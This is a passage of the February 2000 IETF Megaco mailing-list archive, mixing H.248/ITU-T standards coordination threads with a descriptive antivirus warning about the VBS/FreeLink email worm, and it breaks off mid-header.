X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
X-MailServer: Eureka! Silver Internet Server (v2.4 Build 1033)
Message-ID:  <028401bf7937$81b26ea0$7ac05ac2@mediagate>
Date:         Thu, 17 Feb 2000 13:09:49 +0200
Reply-To: jacoba@MEDIAGATE.CO.IL
Sender: "Media Gateway Control (megaco)"
              
From: Jacob Avraham 
Organization: mediagate
Subject:      FW: Attention !!! Warm virus found !
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

-
>> If you recive an email as follows:
>>
>> subject: "Check this"
>> body: "Have fun with these links. Bye."
>> attachment: "LINKS.VBS"
>>
>> Do not open the attachment! Delete it immediatly and DO NOT open it! It
>> contains a visual basic script that sends all your friends (at your
>address
>> book) the same email for them to open. It might also install a virus on
>your
>> computer.
>>
>>
>
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 17 07:52:07 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA10911
	for ; Thu, 17 Feb 2000 07:52:07 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2F1E3550@standards.nortelnetworks.com>; Thu, 17 Feb 2000 7:47:05 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 52997 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 17 Feb 2000 07:45:09 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.84463480@standards.nortelnetworks.com>; Thu, 17 Feb 2000
          7:35:09 -0500
Received: from zmers013 by smtprch1.nortel.com; Thu, 17 Feb 2000 06:37:32 -0600
Received: from rftzy228.ca.nortel.com by zmers013; Thu, 17 Feb 2000 07:37:14
          -0500
Received: by rftzy228.ca.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1RNLCRAS>; Thu, 17 Feb 2000 07:37:14 -0500
Importance: high
X-Priority: 1
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF7943.B767AFFE"
Message-ID:  
Date:         Thu, 17 Feb 2000 07:37:13 -0500
Reply-To: Peter Sherwood 
Sender: "Media Gateway Control (megaco)"
              
From: Peter Sherwood 
Subject:      WARNING FW: Virus Admins Warning - Found Virus VBS/FreeLink
X-To:         Roger O'Connor ,
              ss7-internet@standards.nortelnetworks.com, Jay Larock 
              ,
              Dale Beresford 
X-cc:         AVAdmins@nt.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF7943.B767AFFE
Content-Type: text/plain;
        charset="ISO-8859-1"

All,

Jacob Avraham has sent one or more infected email messages to all of these
accounts.
Would all of you in the To: field please contact Jacob immediately and ask
him to
install an AntiVirus Program on his computer and clean it up before sending
any
more email messages?  He also needs to keep his Virus Definitions up-to-date
(we
prefer weekly updates).

This recent virus will attempt to install XXX links in your web browser
which is
of course against Nortel's standards.

http://www.symantec.com/avcenter/venc/data/vbs.freelink.html

Please ask Jacob to inform me when he has done this.
If this does not happen soon, we may be forced to block his incoming email
in order to prevent further potential damage to our computers.

Your cooperation is greatly appreciated,
Pete Sherwood
Senior AntiVirus Analyst
AVERT (AntiVirus Emergency Response Team)
@ Nortel Networks http://www.nortelnetworks.com
613-763-9270; ESN = 39-39270 (0# for Cell Phone)



-----Original Message-----
From: Antivirus_ZCARD00E [mailto:Antivirus_ZCARD00E@AmericasM10.nt.com]
Sent: Thursday, February 17, 2000 5:07 AM
To: AntiVirus Admins
Subject: Virus Admins Warning - Found Virus VBS/FreeLink


Virus Admins Warning - Found virus VBS/FreeLink

Nortel's antivirus software for Exchange has found a virus in an email.

File Infected:  LINKS.VBS
Virus Found:    VBS/FreeLink
File State:             Detected
Int. Sender:
Int. Recipient:
Ext. Sender:    Jacob Avraham
Ext. Recipient: MEGACO@STANDARDS.NORTELNETWORKS.COM
Mailbox\Folder: O'Connor, Roger [CAR:6H41:EXCH]\Inbox
Email Subject:  Check this
Email Server:   ZCARD00E
Exchange Site:  AmericasM10
ScanJob Used:   Realtime Scan Job

Please take appropriate action.

For more information, go to the following URL:

http://virus.ca.nortel.com:8000/antigen/virus.html

This message was sent from an unattended mailbox. Please do not reply to
this message.

------_=_NextPart_001_01BF7943.B767AFFE
Content-Type: text/html;
        charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable






WARNING FW: Virus Admins Warning - Found Virus =
VBS/FreeLink




All,




Jacob Avraham has sent one or more infected email =
messages to all of these accounts.

Would all of you in the To: field please contact =
Jacob immediately and ask him to 

install an AntiVirus Program on his computer and =
clean it up before sending any

more email messages?  He also needs to keep his =
Virus Definitions up-to-date (we

prefer weekly updates).




This recent virus will attempt to install XXX links =
in your web browser which is 

of course against Nortel's standards.




http://www.symantec.com/avcenter/venc/data/vbs.freelin=
k.html




Please ask Jacob to inform me when he has done =
this.

If this does not happen soon, we may be forced to =
block his incoming email

in order to prevent further potential damage to our =
computers.




Your cooperation is greatly appreciated,

Pete Sherwood 

Senior AntiVirus Analyst 

AVERT (AntiVirus Emergency Response Team) 

@ Nortel Networks http://www.nortelnetworks.com

613-763-9270; ESN =3D 39-39270 (0# for Cell =
Phone)








-----Original Message-----

From: Antivirus_ZCARD00E [mailto:Antivirus_Z=
CARD00E@AmericasM10.nt.com]

Sent: Thursday, February 17, 2000 5:07 AM

To: AntiVirus Admins

Subject: Virus Admins Warning - Found Virus =
VBS/FreeLink






Virus Admins Warning - Found virus =
VBS/FreeLink




Nortel's antivirus software for Exchange has found a =
virus in an email.




File Infected:  LINKS.VBS

Virus Found:    VBS/FreeLink

File State:     =
        Detected

Int. Sender:    

Int. Recipient: =
        

Ext. Sender:    Jacob Avraham

Ext. Recipient: =
MEGACO@STANDARDS.NORTELNETWORKS.COM

Mailbox\Folder: O'Connor, Roger =
[CAR:6H41:EXCH]\Inbox

Email Subject:  Check this

Email Server:   ZCARD00E

Exchange Site:  AmericasM10

ScanJob Used:   Realtime Scan Job




Please take appropriate action.




For more information, go to the following URL:




http://virus.ca.nortel.com:8000/antigen/virus.html=





This message was sent from an unattended mailbox. =
Please do not reply to this message.





------_=_NextPart_001_01BF7943.B767AFFE--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 18 06:50:53 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20159
	for ; Fri, 18 Feb 2000 06:50:53 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0249A4D0@standards.nortelnetworks.com>; Fri, 18 Feb 2000 6:47:22 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 53840 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 18 Feb 2000 06:45:55 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.CDD5E8D0@standards.nortelnetworks.com>; Fri, 18 Feb 2000
          6:45:54 -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          MAA10563; Fri, 18 Feb 2000 12:48:42 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id MAA09496;
          Fri, 18 Feb 2000 12:48:42 +0100
Received: from ericsson.com (arpar1m12.ericsson.se [164.48.229.140]) by
          elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id
          MAA07544; Fri, 18 Feb 2000 12:48:36 +0100 (MET)
X-Mailer: Mozilla 4.04 [en] (Win95; I)
MIME-Version: 1.0
References: <38AA6581.DFD1E4A6@nortelnetworks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38AD2CC9.64AD28F9@ericsson.com>
Date:         Fri, 18 Feb 2000 12:28:09 +0100
Reply-To: Stephen Terrill 
Sender: "Media Gateway Control (megaco)"
              
From: Stephen Terrill 
Subject:      Re: Packages
X-To:         Tom Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi Tom,

Just a "nit" as it seems to be called, when refering to ITU-T, I assume that you are refering to SG-16.  It is possible for other SGs to devolope packages, and they may not be aware of all the other ongoing work.

Cheers,

..//Steve

Tom Taylor wrote:

> Glen Freundlich and I have agreed (with consensus here) that the same
> package will NOT be standardized by both the ITU-T and the IETF.  We may
> cooperate in developing the packages, but after that they either go
> through IETF Last Call or ITU-T decision but not both.  It occurs to me
> that there is still a process issue on making package documentation
> publicly available.  We can sort that out.
>
> Anyway, consensus at this meeting was that SG 16 is prepared to
> standardize all of the packages that were presented here with the
> exception of the NAS package.  They definitely want to keep the
> FAX/modem/text related stuff because this is where the experts are.
> (E.g. V.90 is a standard created by SG 16.)
>
> If anyone feels strongly about doing some of the other packages in the
> IETF, we can negotiate.  As it is, most of the packages have been
> determined and are slated for November decision as new annexes to H.248.
>
> I'll put out a complete list of the packages concerned later -- I don't
> have it immediately to hand.
>
> Tom Taylor


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 18 09:55:07 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24349
	for ; Fri, 18 Feb 2000 09:55:06 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BAF637F0@standards.nortelnetworks.com>; Fri, 18 Feb 2000 9:51:30 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 53923 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 18 Feb 2000 09:50:07 -0500
Received: from hoemail2.firewall.lucent.com (192.11.226.163) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.240C4BF0@standards.nortelnetworks.com>; Fri, 18 Feb 2000
          9:40:07 -0500
Received: from hoemail2.firewall.lucent.com (localhost [127.0.0.1]) by
          hoemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id JAA15110
          for ; Fri, 18 Feb 2000 09:43:01
          -0500 (EST)
Received: from hotair.hobl.lucent.com (h199-118-135-2.lucent.com
          [199.118.135.2]) by hoemail2.firewall.lucent.com (Pro-8.9.3/8.9.3)
          with SMTP id JAA15048; Fri, 18 Feb 2000 09:43:00 -0500 (EST)
Received: from nj7460gratta.ho.lucent.com by hotair.hobl.lucent.com
          (SMI-8.6/EMS-1.5 sol2) id JAA26553; Fri, 18 Feb 2000 09:42:56 -0500
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.01d)
Message-ID:  <200002181442.JAA26553@hotair.hobl.lucent.com>
Date:         Fri, 18 Feb 2000 09:42:23 -0500
Reply-To: gratta@lucent.com
Sender: "Media Gateway Control (megaco)"
              
From: Greg Ratta 
Subject:      Guidance from the Dalai Lama
X-To:         ITU-SG16@mailbag.cps.intel.com
X-cc:         BIGI@itu.int, pierre-andre.probst@swisscom.com,
              hbertine@lucent.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7BIT

As we are finishing the ITU-T SG 16 meeting and observing the
recent activity moving forward ITU-T Recommendation H.248 /
Megaco, I found this gem attributed to be from the Dalai Lama.  I
hope you find it as enjoyable and relevant as I did.  My only regret
is that this did not pass my way two weeks ago.

I N S T R U C T I O N S  F O R  L I F E

1. Take into account that great love and great achievements
involve great risk.
2. When you lose, don't lose the lesson.
3. Follow the three Rs:
        - Respect for self
        - Respect for others and
        - Responsibility for all your actions.
4. Remember that not getting what you want is sometimes a
wonderful stroke of luck.
5. Learn the rules so you know how to break them properly.
6. Don't let a little dispute injure a great friendship.
7. When you realize you've made a mistake, take immediate steps
to correct it.
8. Spend some time alone every day.
9. Open your arms to change, but don't let go of your values.
10. Remember that silence is sometimes the best answer.
11. Live a good, honorable life. Then when you get older and think
back, you'll be able to enjoy it a second time.
12. A loving atmosphere in your home is the foundation for your
life.
13. In disagreements with loved ones, deal only with the current
situation.  Don't bring up the past.
14. Share your knowledge. It's a way to achieve immortality.
15. Be gentle with the earth.
16. Once a year, go someplace you've never been before.
17. Remember that the best relationship is one in which your love
for each other exceeds your need for each other.
18. Judge your success by what you had to give up in order to get
it.
19. Approach love and cooking with reckless abandon.

Greg Ratta, Vice Chairman, ITU-T WP 1/11, Broadband Signalling
Lucent Technologies
Tel: +1 732 332 5174, Fax: +1 732 949 1196, gratta@lucent.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 18 12:58:33 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA28203
	for ; Fri, 18 Feb 2000 12:58:33 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.57552840@standards.nortelnetworks.com>; Fri, 18 Feb 2000 12:54:49 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 54151 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 18 Feb 2000 12:53:40 -0500
Received: from drawbridge.ascend.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.2DED2E80@standards.nortelnetworks.com>; Fri, 18 Feb 2000 12:53:40
          -0500
Received: from fw-ext.ascend.com (fw-ext [198.4.92.5]) by drawbridge.ascend.com
          (8.9.1a/8.9.1) with SMTP id JAA28042; Fri, 18 Feb 2000 09:50:12 -0800
          (PST)
Received: from russet.ascend.com by fw-ext.ascend.com via smtpd (for
          drawbridge.ascend.com [198.4.92.1]) with SMTP; 18 Feb 2000 17:56:29 UT
Received: from porky (porky.ascend.com [192.207.23.83]) by russet.ascend.com
          (8.9.1a/8.9.1) with ESMTP id JAA03977; Fri, 18 Feb 2000 09:56:28
          -0800 (PST)
Received: from ascend.com by ascend.com
X-Sender: mhold@porky
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
References: <38AA6581.DFD1E4A6@nortelnetworks.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000218095350.00afda50@porky>
Date:         Fri, 18 Feb 2000 09:57:30 -0800
Reply-To: Matt Holdrege 
Sender: "Media Gateway Control (megaco)"
              
From: Matt Holdrege 
Subject:      Re: Packages
X-To:         Stephen Terrill 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <38AD2CC9.64AD28F9@ericsson.com>

I'll add a nit to your nit and advice you that the ITU-T is planning to
reorg later this year. There may no longer be a group called SG16. The work
will go on, but Q13 and 14 might move to other groups or simply get another
SG number.

Hopefully the ITU-T management understands the dynamics of creating
packages and will reorg to suit this style of work. It's a great
opportunity to revamp the ITU-T to meet our collective coming challenges.


At 12:28 PM 2/18/00 +0100, Stephen Terrill wrote:
>Hi Tom,
>
>Just a "nit" as it seems to be called, when refering to ITU-T, I assume
>that you are refering to SG-16.  It is possible for other SGs to devolope
>packages, and they may not be aware of all the other ongoing work.
>
>Cheers,
>
>..//Steve
>
>Tom Taylor wrote:
>
> > Glen Freundlich and I have agreed (with consensus here) that the same
> > package will NOT be standardized by both the ITU-T and the IETF.  We may
> > cooperate in developing the packages, but after that they either go
> > through IETF Last Call or ITU-T decision but not both.  It occurs to me
> > that there is still a process issue on making package documentation
> > publicly available.  We can sort that out.
> >
> > Anyway, consensus at this meeting was that SG 16 is prepared to
> > standardize all of the packages that were presented here with the
> > exception of the NAS package.  They definitely want to keep the
> > FAX/modem/text related stuff because this is where the experts are.
> > (E.g. V.90 is a standard created by SG 16.)
> >
> > If anyone feels strongly about doing some of the other packages in the
> > IETF, we can negotiate.  As it is, most of the packages have been
> > determined and are slated for November decision as new annexes to H.248.
> >
> > I'll put out a complete list of the packages concerned later -- I don't
> > have it immediately to hand.
> >
> > Tom Taylor


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 18 13:17:32 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA28548
	for ; Fri, 18 Feb 2000 13:17:31 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.02139120@standards.nortelnetworks.com>; Fri, 18 Feb 2000 13:13:55 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 54226 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 18 Feb 2000 13:12:15 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.C678C720@standards.nortelnetworks.com>; Fri, 18 Feb 2000
          13:12:15 -0500
Received: from zmers013 by smtprch1.nortel.com; Fri, 18 Feb 2000 12:15:04 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Fri, 18
          Feb 2000 13:14:49 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF0WKL>; Fri, 18 Feb 2000 12:14:48 -0600
X-Mailer: Internet Mail Service (5.5.2650.21)
Message-ID:  
Date:         Fri, 18 Feb 2000 12:14:47 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      FW: Latest Draft Of Agreement
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is the procedure agreed between us and SG 16 between now and decision.

> -----Original Message-----
> From: Scott Bradner [SMTP:sob@harvard.edu]
> Sent: Friday, February 18, 2000 8:13 AM
> To:   Taylor, Tom-PT [CAR:B904:EXCH]
> Subject:      Re: Latest Draft Of Agreement
>
> this will work
>
> tnx
>
> Scott
>
> ---
> From taylor@nortelnetworks.com Fri Feb 18 08:04:06 2000
> Date: Fri, 18 Feb 2000 14:03:46 +0100
>
> Here is the latest draft of the proposed procedure.  Key changes: errata
> will be a logical part of the successive I-Ds, but be physically
> separate.  We don't publish a preliminary Proposed Standard because of
> timing considerations.  There is a final reconciliation between me
> representing the IETF and Glen representing the ITU, just in case ITU
> members send in last-minute comments, as unfortunately they have a right
> to do up to June 8.
>
> I've screen-scraped the Word document rather than send all the
> unnecessary overhead this time.
>
> --------------------
>
> During the WP2 plenary session, many delegates expressed concern about
> the relationship between ITU-T SG16 Q.14 and IETF Megaco in their
> co-operative development of H.248. To assure that each group understands
> its responsibilities over the next few months, WP2 suggests adding the
> following text to the SG16 meeting report:
>
> H.248 has been determined by the ITU-T, and its scope and content are
> stable.
>
> Procedure For Further Action
> ------------------------------
> 1. ITU-T determined text of H.248 is available.  (16 Feb 00 [SG -16
> TD-37 PLEN])
> 2. H.248 is published as an Internet Draft.  (approx. 22 Feb 00)
> 3. Megaco issues two-week working group last call on the day that the
> Internet Draft is published. (Comment period ends approx. 8 March 00)
> 4. The Chairman of the Megaco Working Group and the ITU Q.14/16
> Rapporteur work together to create errata text in consultation with the
> experts via e-mail and potentially conference calls.  Only comments that
> address errors and propose corrections will be considered for
> modification of the determined H.248; other comments will be considered
> items for future work. Comments will be accepted for correction of
> H.248/Megaco by mutual agreement of the Megaco working group chair and
> the Q.14/16 Rapporteur. The agreed to changes will be collected into an
> errata document, but the text of the determined H.248/Megaco will not be
> modified at this time.  (To be completed by 26 Mar 00)
> 5. A new Internet Draft is published with the errata text from step 4
> and the Internet Draft posted in step 2 is updated to reference the
> errata.  (approx. 30 Mar 00)
> 6. IETF last call is issued as soon as the Internet Draft is published.
> (Last call period ends approximately 10 April 2000)
> 7. As soon as IETF Last Call is complete, IESG review occurs and any
> remaining last call issues are identified for resolution in the
> following steps. (by 30 Apr 00)
> 8. Q 14/16 holds a Rappporteur meeting the week of May 15-19, 2000 in
> Osaka, Japan. At this meeting additional errata material will be
> considered under the rules of step 4. If needed, a conference call to
> resolve issues identified in previous steps may be held (this may
> include any IETF area directors who have particular issues so they can
> be worked out in real-time).
> 9. The  errata potentially updated from the previous step is posted to
> the Megaco and SG-16 e-mail list.  (31 May 00 )
> 10. ITU-T Q.14/16 Rapporteur and the Megaco Working Group chair follow
> the process of step 4 to prepare a "delta" document based on the errata
> document to H.248 text and any last-minute comments from ITU-T members
> (approximately 13 Jun 00)
> 11. ITU-T decision (15 Jun 00)
> 12. Upon successful decision of H.248, the final H.248 document is
> published as a Proposed Standard RFC (approx. 18 Jun 00)
>
>
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 18 20:37:50 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA04886
	for ; Fri, 18 Feb 2000 20:37:50 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.8C412D70@standards.nortelnetworks.com>; Fri, 18 Feb 2000 20:34:26 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 54611 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 18 Feb 2000 20:32:49 -0500
Received: from motgate2.mot.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.528CAFA0@standards.nortelnetworks.com>; Fri, 18 Feb 2000 20:32:49
          -0500
Received: [from mothost.mot.com (mothost.mot.com [129.188.137.101]) by
          motgate2.mot.com (VWALL-IN-motgate2 2.0) with ESMTP id SAA06095 for
          ; Fri, 18 Feb 2000 18:35:44
          -0700 (MST)]
Received: [from relay1.cig.mot.com (relay1.cig.mot.com [136.182.15.23]) by
          mothost.mot.com (MOT-mothost 2.0) with ESMTP id SAA02001 for
          ; Fri, 18 Feb 2000 18:35:43
          -0700 (MST)]
Received: from cig.mot.com (peregrine23 [160.15.82.23]) by relay1.cig.mot.com
          (8.8.8+Sun/SCERG-RELAY-1.11b) with ESMTP id TAA04576; Fri, 18 Feb
          2000 19:35:43 -0600 (CST)
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: zh-TW,zh-CN
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38ADF3CF.115F5A31@cig.mot.com>
Date:         Fri, 18 Feb 2000 19:37:19 -0600
Reply-To: xieqb@CIG.MOT.COM
Sender: "Media Gateway Control (megaco)"
              
From: Qiaobing Xie 
Subject:      MGCP open source code?
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi, all,

I remember a while ago there was a mentioning on the list that an open
source code was available for MGCP. Is that still the case and where is
it?

Thanks,

--
===============================================================
  Qiaobing Xie, Ph.D
  Principal Staff Engineer
  Network Architecture & Technology
  Motorola, Inc.
  TEL: (847) 632-3028
===============================================================


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb 19 11:30:30 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA25946
	for ; Sat, 19 Feb 2000 11:30:30 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.392757E0@standards.nortelnetworks.com>; Sat, 19 Feb 2000 11:26:54 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 55534 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 19 Feb 2000 11:25:11 -0500
Received: from email2.chelmsford.castlenetworks.com (38.165.85.52) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.964F5FF0@standards.nortelnetworks.com>; Sat, 19 Feb 2000
          11:15:11 -0500
Received: by EMAIL2 with Internet Mail Service (5.5.2650.21) id ;
          Sat, 19 Feb 2000 11:18:19 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <9DCB6C9DC7C3D311B835009027DE069F1ACD91@EMAIL2>
Date:         Sat, 19 Feb 2000 11:18:10 -0500
Reply-To: "Greenberg, Gary" 
Sender: "Media Gateway Control (megaco)"
              
From: "Greenberg, Gary" 
Subject:      Re: MGCP open source code?
X-To:         Qiaobing Xie 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Qiaobing,

www.vovida.com

follow links to mgcp source download...

good luck,
gary


-----Original Message-----
From: Qiaobing Xie
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Sent: 2/18/00 8:37 PM
Subject: MGCP open source code?

Hi, all,

I remember a while ago there was a mentioning on the list that an open
source code was available for MGCP. Is that still the case and where is
it?

Thanks,

--
===============================================================
  Qiaobing Xie, Ph.D
  Principal Staff Engineer
  Network Architecture & Technology
  Motorola, Inc.
  TEL: (847) 632-3028
===============================================================


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb 19 12:03:18 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26197
	for ; Sat, 19 Feb 2000 12:03:18 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D7B828E0@standards.nortelnetworks.com>; Sat, 19 Feb 2000 11:59:58 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 55574 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 19 Feb 2000 11:58:22 -0500
Received: from mw.3com.com (149.112.20.3) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.392DB920@standards.nortelnetworks.com>; Sat, 19 Feb 2000 11:48:22
          -0500
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com
          Corporation) id KAA10209; Sat, 19 Feb 2000 10:51:10 -0600 (CST)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id
          8625688A.005CB0AD ; Sat, 19 Feb 2000 10:52:25 -0600
X-Lotus-FromDomain: 3COM@3COM-MWGATE
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <8625688A.005CAECF.00@mwgate02.mw.3com.com>
Date:         Sat, 19 Feb 2000 10:52:52 -0600
Reply-To: Chao Deng 
Sender: "Media Gateway Control (megaco)"
              
From: Chao Deng 
Subject:      105 & 108 tests
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi all,

(1). How does current Megaco protocol support 105 and 108 test line operations?

(2). Can I utilize Basic Continuity Package to implement it as follows?
     (a). Define and specify test types for 105 & 108 operations in Signals
(Initiate & Respond)
     (b). MGC Initiates 105/108 test type Signals.
     (c). MG Responds with appropriate test type Signals.
     (d). MG performs the specified test procedure 105 by setting RTP side
terminationMode as "loopback"
                and test procedure 108 by setting SCN side terminationMode as
"loopback". Both streamMode are set as "loopbackToken".


(3) How can Trunk Package which defines COT & Loopback be used in 105 & 108
tests?

Thanks,

---Chao D.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sat Feb 19 17:30:38 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28277
	for ; Sat, 19 Feb 2000 17:30:38 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.8D7D6370@standards.nortelnetworks.com>; Sat, 19 Feb 2000 17:27:10 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 55769 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sat, 19 Feb 2000 17:25:43 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.598F2B20@standards.nortelnetworks.com>; Sat, 19 Feb 2000
          17:25:43 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Sat, 19 Feb 2000 22:28:09 +0000
Received: from zmers013 by smtprch1.nortel.com; Sat, 19 Feb 2000 16:27:52 -0600
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by zmers013; Sat, 19
          Feb 2000 17:27:45 -0500
